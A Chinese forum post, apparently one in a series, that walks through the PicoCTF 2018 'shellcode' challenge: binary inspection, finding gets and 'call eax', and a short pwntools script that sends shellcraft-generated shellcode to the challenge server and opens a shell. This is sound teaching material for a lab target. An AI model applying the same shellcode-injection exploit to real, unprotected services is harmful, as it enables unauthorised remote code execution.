登录
/
注册
首页
论坛
其它
首页
科技
业界
安全
程序
广播
Follow
关于
签到
每天签到奖励2-10圆
导读
排行榜
TG频道
发帖说明
登录
/
注册
账号
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
关闭
CSDN热搜
程序园
精品问答
技术交流
资源下载
本版
帖子
用户
软件
问答
教程
代码
写记录
VIP申请
VIP网盘
网盘
联系我们
发帖说明
每日签到
道具
勋章
任务
淘帖
动态
分享
留言板
导读
设置
我的收藏
退出
腾讯QQ
微信登录
返回列表
首页
›
业界区
›
安全
›
PWN手的成长之路-04-PicoCTF_2018_shellcode
PWN手的成长之路-04-PicoCTF_2018_shellcode
[ 复制链接 ]
数察啜
2025-9-29 21:33:00
先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。
file 查看文件。32位的 ELF 可执行文件。
checksec 查看文件安全属性。没开任何保护。
NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。
IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。
看 main 函数旁边看到了一个 vuln 函数,查看。发现了 gets 高危函数。
仔细查看 main 函数。
程序将用户的输入数据存储到 edp+var_A0 处,并通过 lea 将输入缓冲区地址加载至 eax 寄存器,随后作为参数传递给 vuln 函数,vuln 函数内存在关键指令 call eax,表明程序会直接跳转执行 eax 指向的地址,推测此处可能会存在任意代码执行漏洞。
反编译 vuln 函数,猜测 a1 会被加载到 eax 寄存器中。
因此用户输入的数据最终会被 call eax 执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。
exp 构造思路:
构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax 触发执行,之后get shell。
from pwn import *
r=remote('node5.buuoj.cn',26081)
context.log_level='debug'
context.arch='i386'
context.os='linux'
shellcode=asm(shellcraft.sh())
print(shellcode)
r.send(shellcode)
r.interactive()
复制代码
最终得到交互式 shell
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
PWN
成长
之路
PicoCTF
2018
相关帖子
PWN手成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出
PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持
PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
PWN手成长之路-05-ROP
vip免费申请,1年只需15美金$
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
相关推荐
安全
PWN手成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出
0
251
揭荸
2025-10-04
安全
PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持
0
339
谷江雪
2025-10-04
安全
PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
0
365
何玲
2025-10-05
安全
PWN手成长之路-05-ROP
0
759
岭猿
2025-10-06
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
回复
本版积分规则
回帖并转播
回帖后跳转到最后一页
浏览过的版块
业界
签约作者
程序园优秀签约作者
发帖
数察啜
2025-9-29 21:33:00
关注
0
粉丝关注
16
主题发布
板块介绍填写区域,请于后台编辑
财富榜{圆}
anyue1937
9994888
dage888
999994
富账慕
10007
4
匝抽
9986
5
孙淼淼
9992
6
柴古香
9993
7
筒濂
9982
8
凌彦慧
9988
9
崔瑜然
9984
10
慢秤
9979
查看更多